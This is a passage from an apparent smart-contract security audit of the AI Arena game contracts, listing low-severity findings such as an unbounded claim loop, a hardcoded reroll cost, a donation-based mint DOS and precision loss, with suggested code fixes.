        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
+           fighters[tokenId].generation = generation[fighterType];
+           fighters[tokenId].dendroidBool = fighterType == 1;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    } 

L-7 neuron.burnFrom is not in erc standard

• If the approval is type(uint).max, then approval should not be decreased thats the standard. Bur neuron.burn decreases. And it supposed to inherit erc20 burnable externsion, instead of manuall modifying the burn.

    function burnFrom(address account, uint256 amount) public virtual {
        require(
            allowance(account, msg.sender) >= amount, 
            "ERC20: burn amount exceeds allowance"
        );
        uint256 decreasedAllowance = allowance(account, msg.sender) - amount;
        _burn(account, amount);
        _approve(account, msg.sender, decreasedAllowance);
    }

L-8 MergingPool.getFighterPoints will revert if id > 1 as input

• look at the difference to understand the issue. Because, if id > 1 then loop will revert. because it loop from 0 to that id but length is hardcoded to 1.

    function getFighterPoints(uint256 maxId) public view returns(uint256[] memory) {
-       uint256[] memory points = new uint256[](1);
+       uint256[] memory points = new uint256[](maxId);
        for (uint256 i = 0; i < maxId; i++) {
            points[i] = fighterPoints[i]; 
        }
        return points;
    }

L-9 wrong support interface chain inheritance

Modify like this, FighterFarm::supportsInterface

    function supportsInterface(bytes4 _interfaceId)
        public
        view
        override(ERC721, ERC721Enumerable)
        returns (bool)
    {
-       return super.supportsInterface(_interfaceId);
+       return ERC721.supportsInterface(_interfaceId) ||ERC721Enumerable.supportsInterface(_interfaceId);  
    }

L-10 precision loss an staking factor calculation

• diving by 10**18 makes the input for sqrt very low, and the result will mostly be in the low precision range.
• So dont divide by 10**18.

    function _getStakingFactor( uint256 tokenId,   uint256 stakeAtRisk)  private  view returns (uint256) {

      uint256 stakingFactor_ = FixedPointMathLib.sqrt( (amountStaked[tokenId] + stakeAtRisk) / 10**18 );
      if (stakingFactor_ == 0) stakingFactor_ = 1;
      
      return stakingFactor_;
    }    

L-11 Transferring FighterFarm tokens to a address with 9 holders will DOS their purchases

This is a DOS for claim / mint / redeem / marketplace purchases

• If an address with 9 fighter want to buy / mint any token, then their balalnce can be increased by someone donating a token, reaching MAX_FIGHTERS_ALLOWED. This is temporary DOS and he has to butn/trnasfe to other address inorder to claim new nft.
• If possible, allow token holders have an option to accept tokens only from whitelisted addresses.

L-12 FighterFarm::mintFromMergingPool uses msg.sender instead of to address to compute dna

• The redeem and claim functions rely on to address for dna computation ex: here

• but here it is called by _mergingPoolAddress, so it always uses msg.sender insteaf of to

    function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
        _createNewFighter(
            to, 
-           uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
+           uint256(keccak256(abi.encode(to, fighters.length))), 
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

L-13 FighterFarm::updateModel allows an one to copy the model of others

And no event is emitted.

    function updateModel(
        uint256 tokenId, 
        string calldata modelHash,
        string calldata modelType
    ) 
        external
    {
        require(msg.sender == ownerOf(tokenId));
        fighters[tokenId].modelHash = modelHash;
        fighters[tokenId].modelType = modelType;
        numTrained[tokenId] += 1;
        totalNumTrained += 1;

+       emit UpdateModel(tokenId, modelHash, modelType);
    }

L-14 Reroll cost is hardcoded

`uint256 public rerollCost = 1000 * 10**18;`

• No way to modify this, at some point no one will reroll just because the price of tokens are too much. So implement a function to modify cost
• Also allow to change the price of the game item, it is also hardcoded.

L-15 claimNRN can be DOS if rains go over 100+

Isuue is also present in MergingPool::claimRewards when unbounded loop will revert OOG error

This issue is due to the unbounded array out of gas error If some early member came back after 100+ rounds he has to loop all 100 and it will take 100 storage reads + 100 storage updates and will run out of gas. so it is recommended to either update numRounds state outside the loop or allow to claim by mentioning particular round by claimer.

function claimNRN() external {
        require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
        uint256 claimableNRN = 0;
        uint256 nrnDistribution;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            nrnDistribution = getNrnDistribution(currentRound);
            claimableNRN += (
                accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution   
            ) / totalAccumulatedPoints[currentRound];
@--->       numRoundsClaimed[msg.sender] += 1;
        }
        if (claimableNRN > 0) {
            amountClaimed[msg.sender] += claimableNRN;
            _neuronInstance.mint(msg.sender, claimableNRN);
            emit Claimed(msg.sender, claimableNRN);
        }
    }

L-16 Support for the PUSH0 opcode

On Arbitrum and Base the PUSH0 opcode is not supported yet. Since the project is using a solidity version is floating it can only be used with evm version lower than the default shanghai, e.g. paris. Make sure to check the support for the aforementioned opcode on all the chains you are planning to deploy the contracts on

Recommendation One of the options is to add the following to the foundry.toml file: 1 evm_version = "paris"